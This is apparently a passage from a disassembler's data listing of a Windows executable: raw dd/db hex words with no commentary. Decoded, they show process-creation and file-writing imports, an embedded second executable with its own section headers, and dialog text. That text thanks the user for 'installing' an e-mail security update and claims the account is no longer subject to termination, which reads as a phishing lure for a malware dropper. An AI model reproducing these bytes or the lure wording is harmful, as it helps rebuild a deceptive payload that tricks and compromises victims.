		dd 5926802Bh, 0EA3CA3EFh, 7D2F61C9h, 0F2613E92h, 40C87D8Fh
		dd 9ABB2109h, 0BFF84645h
		dd 0CDFDE942h, 0FB705DE9h, 0FA070803h, 8F561521h, 0F70D834h
		dd 0A1706514h, 0C2D51DD1h, 0D40AD1AEh, 6367F30Ah, 985C98DEh
		dd 0F1F8DDDDh, 42CBBA69h, 86A7555Bh, 7A7FF80Fh,	243FF839h
		dd 88F479C6h, 1229AA47h, 4B6C06CBh, 34B5A949h, 0DBF6602Ah
		dd 0CB22FC35h, 530840DFh, 0AE6ADF8Fh, 0D1F93FECh, 0A8D1F45h
		dd 0EADE5B88h, 8809F1ACh, 28643587h, 7DC6B453h,	868CAEFCh
		dd 2F7C7499h, 0D3754CA3h, 5DB6175Dh, 62B6C35Dh,	9CE32B8Dh
		dd 86BC4877h, 7AD27270h, 0DA49332Ch, 9B83D892h,	63BE1CAEh
		dd 0C28F0F33h, 0FE4D881Bh, 47A7A5AFh, 0B0263476h, 1CBCB936h
		dd 580C1741h, 0FA43090Dh, 9EF875A6h, 36FB12B3h,	0AA2B9CD9h
		dd 8190EFCEh, 248E05BBh, 522B181Bh, 42D87627h, 854598B3h
		dd 0CDBAF4A8h, 0BBAD9A50h, 4ADE89D3h, 931AF0F1h, 767CFDC3h
		dd 52AAD7ADh, 1BC9CEF4h, 0D6C04473h, 25EE8E9Ch,	0DF514037h
		dd 63B23355h, 0C798A235h, 0E40000A8h, 0C5F9052Bh, 0AF49F1C7h
		dd 0F0C50C34h, 9EA43544h, 0EEF56749h, 34ECD119h, 4B0DF095h
		dd 6DD27D36h, 5B926DF7h, 0C57D4FCh, 3A6E68A6h, 13BBC2E9h
		dd 6EC19565h, 91A0F58Eh, 8DADAEBFh, 2E9F83CAh, 89E3E19Bh
		dd 0F261E186h, 0D9EBB6CBh, 265EA0A8h, 0DE1C4D52h, 0D5DFA177h
		dd 20DA8D34h, 0DEE496EDh, 0F6C2059Ch, 0E23875F1h, 598C0D65h
		dd 0F0EF70ECh, 857B73E6h, 68664564h, 26B2D811h,	1A7B4893h
		dd 69F0A31h, 0CE8D7EEBh, 67FD113Fh, 0F7056455h,	0E1FC473Bh
		dd 8AE846D9h, 1D6BB110h, 886F45CEh, 78ACF064h, 8F680BADh
		dd 0A0678235h, 9A619204h, 2F9464ADh, 46437607h,	577C5B28h
		dd 3A26D1B6h, 9818846Fh, 8478EF84h, 23441D85h, 3F022D0h
		dd 1C95382Eh, 38EE5DBh,	0E9109451h, 0E03BCDF6h,	3700DBF3h
		dd 32519CB4h, 5AA5BB95h, 0A4095285h, 0AF7967E5h, 8D37E520h
		dd 3F69E45Bh, 91F0E35h,	0F41EEA1Dh, 458B619Dh, 0DBD9CDA9h
		dd 0B2B54DD3h, 0A3509173h, 0E2B2279Fh, 47F41265h, 0CC3D62A7h
		dd 1FB68D38h, 9A7EABA4h, 5D90A169h, 576A359Ch, 0CA2D030h
		dd 0B02890A5h, 0BB3930E4h, 0E53480B3h, 0B2A4437Ch, 54E2E7CCh
		dd 91FDEAE5h, 17E20E22h, 7D07FCAFh, 0FD4749C5h,	0CDEA1321h
		dd 690E1E8Fh, 0D201A4DBh, 0F2CAD0CDh, 0C346369Bh, 6CCF031h
		dd 0A531C298h, 7FA1E56Eh, 0CA7DB7E2h, 27FB55DBh, 0AB8F34EFh
		dd 0A13F8B0Eh, 0D1128541h, 0A4ABE5FCh, 1B545DFFh, 0B085EFF0h
		dd 0D6AEABF7h, 0A893BC9Fh, 0CAD33C38h, 0E06A5BBFh, 0AD77E870h
		dd 61BC5AA3h, 0C1A240ACh, 9B470FFAh, 790460EBh,	5C8804FBh
		dd 0C206006h, 0B711B711h, 0CB73FE1Dh, 7BD39BDCh, 0A0FD9B7Eh
		dd 0E2E0C2B3h, 0CD8D5DB3h, 2CED570h, 0E9949BB3h, 762D3995h
		dd 0E4D2A6Ah, 429A2C3h,	327B664Bh, 640D1FF6h, 0F0151D0Bh
		dd 0F84211AFh, 0EE93F0B0h, 0D1B1F762h, 377AD681h, 23362191h
		dd 3791DA06h, 0E52C0F24h, 385CE17Dh, 0B5099579h, 0C7BACCCh
		dd 883F928Fh, 66B60725h, 0EC56D4BBh, 7B7ED6B1h,	0E00E71BAh
		dd 1403D3DBh, 0C0506907h, 49FB118Bh, 0BF2024D6h, 540D1B6Ch
		dd 1DBFE46Ah, 0F3ED179Eh, 0D9F34CE2h, 6A0D2CBh,	251B36C2h
		dd 0E25F7DC8h, 2D9013Fh, 5CB1BA19h, 0B725D027h,	0DE635E92h
		dd 98DD83EEh, 8FFED01Fh, 0FF2A909h, 40CB5A76h, 1F0CD388h
		dd 0D885B101h, 0A1A5F860h, 853EC290h, 0D3968D4Fh, 0EEF39B1Dh
		dd 4F0392D9h, 0B3DA4D60h, 8735BBA1h, 0DBACB5F5h, 0D1B225AAh
		dd 7CFE25F3h, 7D0E3D2Ch, 55DC153Ah, 4B75E25Fh, 535C122Dh
		dd 0A13B95B3h, 1A24C41Bh, 529B2FD9h, 29AB8D02h,	2559DA33h
		dd 0A21E9C58h, 85C6AB63h, 30DC018Ah, 2CBF8338h,	55F91E12h
		dd 0D29297AAh, 9B097E73h, 833F93BFh, 3DAC42C4h,	4CA6AED7h
		dd 55170B52h, 0D1DCF35Ch, 12CD331Dh, 6751D75Bh,	67AACDF2h
		dd 8ACBEFC4h, 29D0B4FFh, 74881304h, 4B826F3h, 0EFE1DCB8h
		dd 3D0131F9h, 4D0E9699h, 7F79535Dh, 0FFE29DFCh,	31FBF3DEh
		dd 1BE612ECh, 86DDB038h, 97C8EDF6h, 0B0EBA47h, 0E2177831h
		dd 0CE945BB6h, 2B060FC4h, 6E028FEEh, 0DF97535h,	8CB3F69Ah
		dd 439F0D92h, 1E7188A0h, 1B495846h, 60FFAC46h, 70E9981Eh
		dd 81CF1751h, 10E7AA4Fh, 0A50D68F2h, 0FA527034h, 4198DFACh
		dd 90CA44B6h, 0DDD4BFADh, 3D29D9A1h, 0DB7C0DFAh, 0F67A3BEh
		dd 6BDA9A16h, 4C8970A4h, 73E5F397h, 0A7937045h,	9A2EC89Dh
		dd 9AAF659Dh, 5BFD0972h, 97403B04h, 0C09A14Ah, 8909CB69h
		dd 0A4B614Ah, 5A52AA40h, 64E29BDDh, 5BBACC6Dh, 0EAF75E16h
		dd 0EF7C91B5h, 0FF20B8C9h, 0E6F4DBB6h, 0A2BB3532h, 7B22670Eh
		dd 6D101E24h, 0E6498354h, 3073B500h, 11898191h,	125A6102h
		dd 0BBBC9B67h, 6D1B13F3h, 0A460C127h, 6B313567h, 5831F823h
		dd 0F0D65CE5h, 0FDFEF3CDh, 0D6688CD8h, 0DB5DED49h, 8E041DACh
		dd 3DC9E0A4h, 9668588Eh, 857D415Fh, 0B3924AFh, 0C574BFB9h
		dd 5340A99Ah, 3FD17EE9h, 9BC5989Fh, 6F8A0FDh, 6FDE6194h
		dd 7AF184E6h, 0AB05C662h, 4047A77Dh, 0EFBFEA1Bh, 7FE1A6C3h
		dd 0B1B31327h, 62EDF595h, 68C9AD15h, 1D625EDEh,	4D27F5DCh
		dd 0EFCCEE09h, 0A9C23716h, 49F6DDE9h, 0E32323A2h, 0FD664B10h
		dd 6F1FF837h, 0D29CBE01h, 0C2F665E7h, 0FB2790B7h, 301C4D89h
		dd 187B67DBh, 0D4CC5FC9h, 625FF072h, 73F9208h, 6D183849h
		dd 7879F35Fh, 0E19168EEh, 1E69C7BFh, 4BCB845h, 36E31EC3h
		dd 0E52C5763h, 0B75C7D8Dh, 0AA5D3475h, 52A9A819h, 83E5F86Ch
		dd 0F47F65CCh, 0D1551422h, 0D2325E6Eh, 0E6CD044h, 82538BB8h
		dd 840D9D56h, 5CDCEB7Ah, 1F25ABFAh, 6973A03Ch, 0A11D9EC4h
		dd 78218902h, 1147D43h,	72109BBDh, 5613C77Eh, 41042DDDh
		dd 0B4D64EC4h, 0D7027870h, 0D43995E0h, 0C4001D02h, 0C11D319Ah
		dd 35DDDDADh, 7D144CEBh, 6D9D30CDh, 3B045877h, 0A74F6994h
		dd 8415FE4h, 0E66E2B59h, 64886560h, 8C6F375Ch, 0EF3DFFA9h
		dd 94EB388Bh, 0A817FD3Fh, 30E6E2B1h, 8F320E7Fh,	0D1060FC0h
		dd 6642A2CEh, 67865BDFh, 0E1559BA0h, 0C6DCA53Eh, 0D5E8BF44h
		dd 554ACC99h, 6795CB8Ah, 871D5F9Ah, 0E23E9F02h,	0A68C5513h
		dd 0F2D070E5h, 5CE62744h, 0E2F3A504h, 0B0838086h, 0F6DF0CCDh
		dd 1307D236h, 9C69F305h, 28B31B00h, 0EAC285B0h,	91A19AEAh
		dd 0BEF0B41Eh, 2A30F070h, 0FBA08EA2h, 7BE91813h, 0CC4DB2DAh
		dd 0E9F2F59Eh, 517EF73Eh, 1D7AFD47h, 7905F3F2h,	8D831448h
		dd 6E326D3Eh, 5FA8436Dh, 6D46E659h, 0F7630F32h,	3E4D3D3h
		dd 60666FB7h, 0CD92948Eh, 0ED74BC01h, 33A3A0FEh, 834588B4h
		dd 88F606E3h, 0FB901E05h, 0EBC615F5h, 544FB798h, 14017080h
		dd 0EE7DCB64h, 0D1D7FFF2h, 5C4F27BEh, 0FFFFFB9Dh, 665F7A00h
		dd 5A283A31h, 59941D55h, 26430B1h, 4C3D3074h, 0E86C7A24h
		dd 906344CEh, 0F461CDFEh, 8187B87Ch, 99B9A1F1h,	0A7E8309h
		dd 0E2BA970Bh, 31F36FF7h, 6D6D4C71h, 0C985C9C3h, 0C76A127Dh
		dd 6CA48611h, 0E086D4C5h, 6CB4ECE9h, 62C24778h,	63955EE8h
		dd 0E205BE9Dh, 1296CBB6h, 47CE7F80h, 268C8367h,	0BD8F1A33h
		dd 0CE5555D7h, 0F64AAC2Fh, 0A26CC7AAh, 44EEA776h, 0C3474348h
		dd 0AC2F521Dh, 0B3A27590h, 0C7FE3E48h, 0A01DF376h, 0B5293D28h
		dd 6472C886h, 0C3E539A6h, 157F8FD1h, 2C9EC62Bh,	0F237C642h
		dd 3560B4ADh, 0EE2F8584h, 0AB215BC7h, 82F87143h, 0BB6B36D2h
		dd 19F976CCh, 0B1D21FA0h
		dd 73A8C87Bh, 0E739A05Dh, 0A9113F04h, 0ABBEDACAh, 1429574Eh
		dd 14E37FEEh, 90006D2Bh, 0CA3D9EF8h, 36FA2083h,	0D2259121h
		dd 22206500h, 98FD812Ch, 8C593F11h, 0CC711453h,	3865F3D7h
		dd 0A99E49ACh, 0DD2AC576h, 4376C6BBh, 0C99DE9C5h, 93C4A9E1h
		dd 0ADE22E6h, 0E083561Ah, 4DD44A41h, 6DD16AF7h,	9825F56Eh
		dd 736E9C07h, 7D393C26h, 14442DF6h, 4D320B67h, 0AA0935DEh
		dd 0B486BD3Fh, 5183D91Ch, 2D9F0C7Bh, 0AE5986B9h, 0F6DBA083h
		dd 3276309Ch, 2CAC6CEBh, 50983121h, 13034A11h, 7D891D6Bh
		dd 0B5966764h, 5C00E3CAh, 0D1976D73h, 29D9BBD0h, 1D945072h
		dd 0A690AC6Ah, 0A9597660h, 566884F8h, 0D0ACF55Bh, 1A995F1Ch
		dd 2365C134h, 0FD237C71h, 0E2AD70h, 2F86C382h, 7BDE878Ch
		dd 59DB8E74h, 0F55FE2E7h, 6D9514Fh, 0E3033B64h,	0E8F3B115h
		dd 139F5FE3h, 74F1127Dh, 75B9172Dh, 62CBAB2h, 1380CC01h
		dd 8BB27D44h, 0F439E186h, 0B44F5ACAh, 2B5D3BA6h, 0D8EE75AFh
		dd 90h,	39h dup(0)
		dd 53613500h, 0F58615h,	27B49F02h, 0C93D536Bh, 0C262DD5Eh
		dd 9099425Dh, 0C220E8A3h, 16BB2567h, 3606B85Dh,	52A64FD6h
		dd 7BBE9021h, 0FAB73F5Bh, 0F9C2C8CCh, 92C01848h, 329B8EB1h
		dd 411203D8h, 6E98BC09h, 1349CA36h, 251B618Bh, 0D37EF1C4h
		dd 0FD9D70FAh, 0AA0D1BE2h, 0B53A3D20h, 8A08B71Bh, 9DE083B5h
		dd 28DA96DCh, 0DA88B126h, 777DB4F4h, 0C106808Ah, 76747BABh
		dd 9E916C10h, 1B16F44Fh, 3A83F4Ch, 8F01A262h, 0BEEEC928h
		dd 0E35985F3h, 0A954E83Bh, 94D4E8C0h, 51EB3E7h,	2A90722Ch
		dd 0C0B169D0h, 5DA6F316h, 6A18743Ah, 346C7A70h,	2DA3AF3Bh
		dd 2C107F6Dh, 0BBA67898h, 35265B84h, 8F3AF156h,	8FFB6E33h
		dd 0EDFCEAE7h, 0D603AA29h, 0AF6A72B2h, 67613611h, 1F47C4E9h
		dd 1FB2885Dh, 0BB108EBDh, 9D3D3A85h, 68280A21h,	0A3F236A4h
		dd 4BE1B624h, 7EE73BC5h, 8C811994h, 17119A0Fh, 805F7167h
		dd 0EB0CE1F1h, 153FBCCBh, 5625DF1Fh, 59DCADE9h,	349C3897h
		dd 0A3048D45h, 7ED7FEh,	0F31C5931h, 9F20BF2Bh, 2D467CB8h
		dd 9F8BCF07h, 0FD5D5EE1h, 951BB540h, 0A417680Bh, 0ECDDC3C8h
		dd 0E589657Dh, 0AA11722Ah, 6894D5C1h, 21AB1411h, 9E78E0E8h
		dd 0A391B903h, 995CA21h, 2B4D75A1h, 0F89C8D8Fh,	9B5FFE11h
		dd 0E229B90Ah, 89945BC4h, 1A07250Ch, 0C1D53329h, 0B56F97AFh
		dd 81D9D90Ch, 252DBAA3h, 0C8D4BB85h, 3A5EAC30h,	32C55C0Bh
		dd 0DCB4EBE3h, 3E870EA9h, 0D228CF93h, 7A0CED41h, 0C5D6E93Dh
		dd 7CBD3918h, 0B0272A62h, 8134D845h, 0B916B919h, 44C7C669h
		dd 713796EBh, 72F9A409h, 87618E2Bh, 0BA9E9770h,	2E3089Dh
		dd 62F5A2D6h, 0A3CD5047h, 493A5B04h, 6C366550h,	7079E0DFh
		dd 0C82F0BABh, 0F4F4DEBAh, 2B9B78D9h, 8A3110AAh, 0B0CEAC7Dh
		dd 266430F0h, 0E63A3588h, 8D62561Ch, 595AD22Ah,	0BE058643h
		dd 4FA348D1h, 16090E39h, 0EF42C0ACh, 0FC2D7194h, 0FA09CF46h
		dd 497E9A89h, 7CC37D1Ch, 6FC7B290h, 538EFE8Bh, 0CE10CBA0h
		dd 0D622741Bh, 0DCABBD43h, 6AFB3908h, 0DF077268h, 0FB5E1B9Eh
		dd 3CC2FCEEh, 4BCB023h,	59B53F63h, 6E6D639Bh, 0D91706D7h
		dd 0F9AE5872h, 9B44154Dh, 0F24E833Ah, 2035C2B1h, 30E3A7F0h
		dd 2CF48F5Ah, 0B1313670h, 0F7B9898Fh, 6B5D8B6Fh, 7A4D0426h
		dd 4A1A51B8h, 4847EC66h, 60D2h,	5Dh dup(0)
		dd 253A8h, 25430h, 25424h, 25416h, 25404h, 253F6h, 253EAh
		dd 253DEh, 253D0h, 253C0h, 25396h, 25386h, 25460h, 25454h
		dd 25448h, 252FAh, 2530Ch, 25326h, 25334h, 25342h, 25352h
		dd 25366h, 25378h, 2543Ch, 0
		dd 2548Ah, 2549Ch, 254AEh, 254C4h, 254D6h, 254EAh, 254FAh
		dd 2550Ah, 2551Eh, 2552Eh, 2547Ah, 0
		dd 252E4h, 252D2h, 252BCh, 252AEh, 25298h, 2528Ah, 2527Ah
		dd 2526Eh, 25262h, 25254h, 2523Ah, 25228h, 25216h, 25206h
		dd 251F8h, 0
		dd 251B8h, 2 dup(0)
		dd 252EEh, 25094h, 25124h, 2 dup(0)
		dd 2546Ch, 25000h, 25188h, 2 dup(0)
		dd 2553Ch, 25064h, 5 dup(0)
		dd 253A8h, 25430h, 25424h, 25416h, 25404h, 253F6h, 253EAh
		dd 253DEh, 253D0h, 253C0h, 25396h, 25386h, 25460h, 25454h
		dd 25448h, 252FAh, 2530Ch, 25326h, 25334h, 25342h, 25352h
		dd 25366h, 25378h, 2543Ch, 0
		dd 2548Ah, 2549Ch, 254AEh, 254C4h, 254D6h, 254EAh, 254FAh
		dd 2550Ah, 2551Eh, 2552Eh, 2547Ah, 0
		dd 252E4h, 252D2h, 252BCh, 252AEh, 25298h, 2528Ah, 2527Ah
		dd 2526Eh, 25262h, 25254h, 2523Ah, 25228h, 25216h, 25206h
		dd 251F8h, 0
		dd 6843002Ch, 70557261h, 41726570h, 450000h, 61657243h
		dd 75436574h, 726F7372h, 460000h, 61657243h, 65446574h
		dd 6F746B73h, 4170h, 72430047h,	65746165h, 6B736544h, 57706F74h
		dd 4D0000h, 61657243h, 63496574h, 72466E6Fh, 65526D6Fh
		dd 72756F73h, 6563h, 724400A1h,	74537761h, 41657461h, 0C40000h
		dd 61757145h, 6365526Ch, 0F70074h, 46746547h, 7375636Fh
		dd 16A0000h, 68437349h,	6F4C7261h, 41726577h, 17E0000h
		dd 64616F4Ch, 6D746942h, 417061h, 6F4C0181h, 75436461h
		dd 726F7372h, 6D6F7246h, 656C6946h, 1860041h, 64616F4Ch
		dd 67616D49h, 4165h, 654D01A0h,	67617373h, 786F4265h, 69646E49h
		dd 74636572h, 1AE0041h,	546D654Fh, 6168436Fh, 66754272h
		dd 4166h, 6F540238h, 69637341h,	73750069h, 32337265h, 6C6C642Eh
		dd 1E0000h, 706D6F43h, 53657261h, 6E697274h, 4167h, 6E45006Eh
		dd 65526D75h, 72756F73h, 614C6563h, 6175676Eh, 41736567h
		dd 800000h, 74697845h, 636F7250h, 737365h, 78450081h, 68547469h
		dd 64616572h, 0A20000h,	646E6946h, 6F736552h, 65637275h
		dd 0A90041h, 73756C46h,	6C694668h, 66754265h, 73726566h
		dd 0C80000h, 43746547h,	616D6D6Fh, 694C646Eh, 41656Eh
		dd 654700F5h, 6C694674h, 7A695365h, 0FE0065h, 4C746547h
		dd 6C61636Fh, 656D6954h, 1320000h, 53746547h, 74726174h
		dd 6E497075h, 416F66h, 654C01A3h, 43657661h, 69746972h
		dd 536C6163h, 69746365h, 6E6Fh,	6F4C01A4h, 694C6461h, 72617262h
		dd 4179h, 6F4C01AAh, 416C6163h,	636F6C6Ch, 1CA0000h, 6E65704Fh
		dd 656C6946h, 26C0000h,	41736C54h, 636F6C6Ch, 26F0000h
		dd 53736C54h, 61567465h, 65756Ch, 6E550277h, 5670616Dh
		dd 4F776569h, 6C694666h, 2830065h, 74726956h, 466C6175h
		dd 656572h, 7257029Eh, 46657469h, 656C69h, 736C02B5h, 61637274h
		dd 4174h, 736C02B9h, 6D637274h,	416970h, 736C02BBh, 70637274h
		dd 4179h, 736C02BDh, 70637274h,	416E79h, 736C02BFh, 656C7274h
		dd 416Eh, 6E72656Bh, 32336C65h,	6C6C642Eh, 50000h, 61656C43h
		dd 73754372h, 74614474h, 270061h, 4C656C4Fh, 5064616Fh
		dd 75746369h, 6572h, 65520030h,	74736967h, 79547265h, 694C6570h
		dd 320062h, 65666153h, 61727241h, 63634179h, 44737365h
		dd 617461h, 61530038h, 72416566h, 43796172h, 74616572h
		dd 3C0065h, 65666153h, 61727241h, 73654479h, 796F7274h
		dd 4F0000h, 45746553h, 726F7272h, 6F666E49h, 530000h, 46737953h
		dd 53656572h, 6E697274h, 540067h, 52737953h, 6C6C4165h
		dd 7453636Fh, 676E6972h, 570000h, 53737953h, 6E697274h
		dd 6E654C67h, 820000h, 42726156h, 43727473h, 7461h, 61656C6Fh
		dd 32337475h, 6C6C642Eh, 0AEh dup(0)
		dd 0FFFF0001h, 0
		dd 40000h, 80C808C8h, 7, 1430000h, 0A1h, 430000h, 720065h
		dd 690074h, 690066h, 610063h, 650074h, 690020h,	73006Eh
		dd 610074h, 6C006Ch, 740061h, 6F0069h, 20006Eh,	6F0063h
		dd 70006Dh, 65006Ch, 650074h, 64h, 190000Ah, 4D0100h, 200053h
		dd 680053h, 6C0065h, 20006Ch, 6C0044h, 67h, 2 dup(0)
		dd 50010000h, 94010Ah, 0B0032h,	2, 80FFFFh, 690046h, 69006Eh
		dd 680073h, 2 dup(0)
		dd 20h,	50010804h, 270084h, 1A00BFh, 7D2h, 690052h, 680063h
		dd 640045h, 740069h, 300032h, 41h, 680054h, 6E0061h, 20006Bh
		dd 6F0079h, 200075h, 6F0066h, 200072h, 700075h,	610064h
		dd 690074h, 67006Eh, 790020h, 75006Fh, 200072h,	2D0065h
		dd 61006Dh, 6C0069h, 610020h, 630063h, 75006Fh,	74006Eh
		dd 730020h, 630065h, 720075h, 740069h, 200079h,	650073h
		dd 740074h, 6E0069h, 730067h, 620020h, 200079h,	6E0069h
		dd 740073h, 6C0061h, 69006Ch, 67006Eh, 3 dup(0)
		dd 5000000Eh, 70007h, 8A0051h, 0FFFFFFFFh, 82FFFFh, 6AFFFFh
		dd 3 dup(0)
		dd 50010084h, 200061h, 7200DBh,	3E9h, 81FFFFh, 3 dup(0)
		dd 5000000Eh, 2B006Ch, 100012h,	0FFFFFFFFh, 82FFFFh, 6BFFFFh
		dd 2 dup(0)
		dd 20h,	50010804h, 490064h, 4500DBh, 7D4h, 690052h, 680063h
		dd 640045h, 740069h, 300032h, 41h, 6F0059h, 720075h, 650020h
		dd 6D002Dh, 690061h, 20006Ch, 630061h, 6F0063h,	6E0075h
		dd 200074h, 730069h, 6E0020h, 20006Fh, 6F006Ch,	67006Eh
		dd 720065h, 730020h, 620075h, 65006Ah, 740063h,	740020h
		dd 20006Fh, 650074h, 6D0072h, 6E0069h, 740061h,	6F0069h
		dd 2E006Eh, 490020h, 200074h, 6F006Eh, 6C0020h,	6E006Fh
		dd 650067h, 200072h, 6F0070h, 650073h, 200073h,	6E0061h
		dd 200079h, 680074h, 650072h, 740061h, 0D002Eh,	0D000Ah
		dd 57000Ah, 200065h, 700061h, 720070h, 630065h,	610069h
		dd 650074h, 790020h, 75006Fh, 200072h, 730061h,	690073h
		dd 740073h, 6E0061h, 650063h, 690020h, 20006Eh,	75006Fh
		dd 200072h, 660065h, 6F0066h, 740072h, 740020h,	20006Fh
		dd 61006Dh, 65006Bh, 740020h, 650068h, 750020h,	650073h
		dd 6F0020h, 200066h, 6E0049h, 650074h, 6E0072h,	740065h
		dd 610020h, 64006Eh, 650020h, 6D002Dh, 690061h,	20006Ch
		dd 610073h, 650066h, 200072h, 6E0061h, 200064h,	6F006Dh
		dd 650072h, 720020h, 6C0065h, 610069h, 6C0062h,	2E0065h
		dd 2 dup(0)
		dd 20h,	50010804h, 90064h, 1A00BFh, 7D3h, 690052h, 680063h
		dd 640045h, 740069h, 300032h, 41h, 83h dup(0)
aPaddingxxpaddi	db 'PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGP'
		db 'ADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPA'
		db 'DDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD'
		db 'DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD'
		db 'INGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD',0
		align 4
		dd 7Fh dup(0)
		dd 60h,	1000h, 6F6C4301h, 61486573h, 656C646Eh,	72570100h
		dd 46657469h, 656C69h, 65724301h, 46657461h, 41656C69h
		dd 65520100h, 69466461h, 100656Ch, 46746553h, 50656C69h
		dd 746E696Fh, 1007265h,	4D746547h, 6C75646Fh, 6C694665h
		dd 6D614E65h, 1004165h,	7274736Ch, 416E656Ch, 65470100h
		dd 63695474h, 756F436Bh, 100746Eh, 53746547h, 65747379h
		dd 6D69546Dh, 46734165h, 54656C69h, 656D69h, 65724301h
		dd 50657461h, 65636F72h, 417373h, 74654701h, 706D6554h
		dd 68746150h, 47010041h, 69467465h, 7441656Ch, 62697274h
		dd 73657475h, 53010041h, 69467465h, 7441656Ch, 62697274h
		dd 73657475h, 56010041h, 75747269h, 72466C61h, 1006565h
		dd 65657246h, 7262694Ch, 797261h, 74655301h, 7473614Ch
		dd 6F727245h, 47010072h, 614C7465h, 72457473h, 726F72h
		dd 74654701h, 72727543h, 50746E65h, 65636F72h, 1007373h
		dd 50746547h, 41636F72h, 65726464h, 1007373h, 64616F4Ch
		dd 7262694Ch, 41797261h, 65470100h, 72655674h, 6E6F6973h
		dd 417845h, 7A695301h, 52666F65h, 756F7365h, 656372h, 636F4C01h
		dd 7365526Bh, 6372756Fh, 4C010065h, 5264616Fh, 756F7365h
		dd 656372h, 6E694601h, 73655264h, 6372756Fh, 1004165h
		dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 65540100h
		dd 6E696D72h, 50657461h, 65636F72h, 1007373h, 74726956h
		dd 416C6175h, 636F6C6Ch, 736C0100h, 70637274h, 1004179h
		dd 7274736Ch, 41746163h, 65470100h, 73795374h, 446D6574h
		dd 63657269h, 79726F74h, 6D000041h, 80000000h, 1000010h
		dd 72707377h, 66746E69h, 47010041h, 75437465h, 726F7372h
		dd 736F50h, 0
		dd 455000h, 4014C00h, 0E92ED000h, 47h, 0
		dd 0F00E000h, 7010B01h,	8000Ah,	0B40000h, 0
		dd 16E200h, 100000h, 200000h, 40000000h, 100000h, 20000h
		dd 400h, 0
		dd 400h, 0
		dd 0F00000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 21B400h, 3C00h, 400000h, 0ACCC00h, 12h dup(0)
		dd 200000h, 8C00h, 6 dup(0)
		dd 65742E00h, 7478h, 2 dup(100000h), 80000h, 40000h, 3 dup(0)
		dd 2000h, 64722E60h, 617461h, 100000h, 200000h,	60000h
		dd 0C0000h, 3 dup(0)
		dd 4000h, 61642E40h, 6174h, 100000h, 300000h, 5	dup(0)
		dd 4000h, 73722EC0h, 6372h, 0B00000h, 400000h, 0AE0000h
		dd 120000h, 3 dup(0)
		dd 4000h, 0E00040h, 227C00h, 5000000h, 0FF0000E2h, 64C9042Eh
		dd 0D6336498h, 0FFFFFF00h, 0F05471FFh, 0B4B4506Ah, 8ED8CD38h
		dd 0CECF85A7h, 0FFC37BDBh, 0A4B02BC2h, 0C9715430h, 8570EFC3h
		dd 7C2FFF85h, 0FB0D28A1h, 3BCA0038h, 1CF4A13Fh,	0FF9E9664h
		dd 0FA86B323h, 74FFF42Fh, 1DBD9F5Fh, 5D25E05Ah,	972CE135h
		dd 77048F94h, 1D1D8AB9h, 0DA17FFFFh, 7DA9FFBh, 0D25B3BA8h
		dd 32F53769h, 0C172945Fh, 0DA4E40B0h, 0FA085F31h, 3C5D8DFFh
		dd 4B247C99h, 0D2B17767h, 0A0449866h, 0E0D896E8h, 9DFA97FFh
		dd 0A137D139h, 0AB9ADD6Eh, 0D1AD8449h, 8B57D9FCh, 0E97FE3A6h
		dd 0C078585Fh, 0F519BE40h, 6F11AA15h, 0ABA55703h, 2DE7DF51h
		dd 9AFFFFFEh, 264C0757h, 0BFB74C5Ch, 97C9CF00h,	43B6D0C4h
		dd 0DD2CF167h, 0FF561E35h, 1DFFFFFFh, 6D773DB5h, 0B6B7E000h
		dd 0DEA458D9h, 6DDBD361h, 5E00FAEEh, 50C7E222h,	2F8BD93Ah
		dd 0FF670583h, 0FDFEA37Fh, 52AD318h, 1E60DC56h,	94F236D4h
		dd 2F75B0EBh, 4D80F709h, 37C4BFEAh, 62CAF0FAh, 9DCBDEE7h
		dd 0BEFCB55h, 455FCF9Fh, 0F46E0537h, 6A226FFh, 0F760B057h
		dd 136B44C0h, 0D9B8F3Ah, 0FFFFD6E0h, 0BB351EEDh, 325D5C2Fh
		dd 0C69AA789h, 849645FFh, 8D0AF589h, 0C24E6FBFh, 0FFFB7E2Dh
		dd 21B7DBA6h, 5DE5202h,	5819508h, 4534997Ch, 0FAB95358h
		dd 90FFFFFFh, 0A4979296h, 0A147987Fh, 3102B4A1h, 8E2DBF3Dh
		dd 0C226D2CBh, 5529A9C3h, 7EE1DE78h, 0DFFFF46Fh, 19485DBh
		dd 0CA943A8Ch, 0C831DFC3h, 0C51AEDB9h, 9C3FDAA5h, 97FFFE11h
		dd 48E1E9FAh, 7A84B8B0h, 490A4D72h, 3A87C5D3h, 9FB84891h
		dd 585A8E2Fh, 5FFF897h,	0AA820DACh, 0C5D19179h,	26802BC8h
		dd 0EA6DEF59h, 0FFFFFFC9h, 927DF612h, 8FF2613Eh, 940C87Dh
		dd 459ABB21h, 42BFF846h, 0E9CDFDE9h, 0FFFC1B5Dh, 3FB70FFh
		dd 21FA0708h, 348F5615h, 140F70D8h, 0D1A17065h,	0A8C2D51Dh
		dd 0FE2DFF0Ah, 0F30AD4FFh, 98DE6367h, 0DDDD985Ch, 0BA69F1F8h
		dd 0A7555B65h, 7FF80F86h, 0FFD1BF7Ah, 3FF839FFh, 0F479C624h
		dd 29AA4788h, 6C06CB12h, 41A9494Bh, 0DBF6602Ah,	2DFFFF35h
		dd 0CB22FCFEh, 530840DFh, 0ECAE6A39h, 45D1F93Fh, 880A8D1Fh
		dd 0ACEADE5Bh, 0BFFFFF1h, 878809FDh, 0BC286435h, 0AEFC7DC6h
		dd 7499868Ch, 4CA32F7Ch, 175DD375h, 4BFF83B6h, 0C35D5DFCh
		dd 0A8D62B6h, 0BC48779Ch, 0D2727086h, 0FF4C2C7Ah, 0DA7152FFh
		dd 1CAEF892h, 0F3363BEh, 881BC28Fh, 0A5AFFE4Dh,	1BFFFFA7h
		dd 347647FCh, 7436B026h, 0C17411Ch, 43090D58h, 0F875A6FAh
		dd 0FB12B39Eh, 5FFFF36h, 2B9CD9FEh, 90EFCEAAh, 248E057Eh
		dd 522B181Bh, 42D87627h, 854598B3h, 0FFFFFFA8h,	0CDBAF4FFh
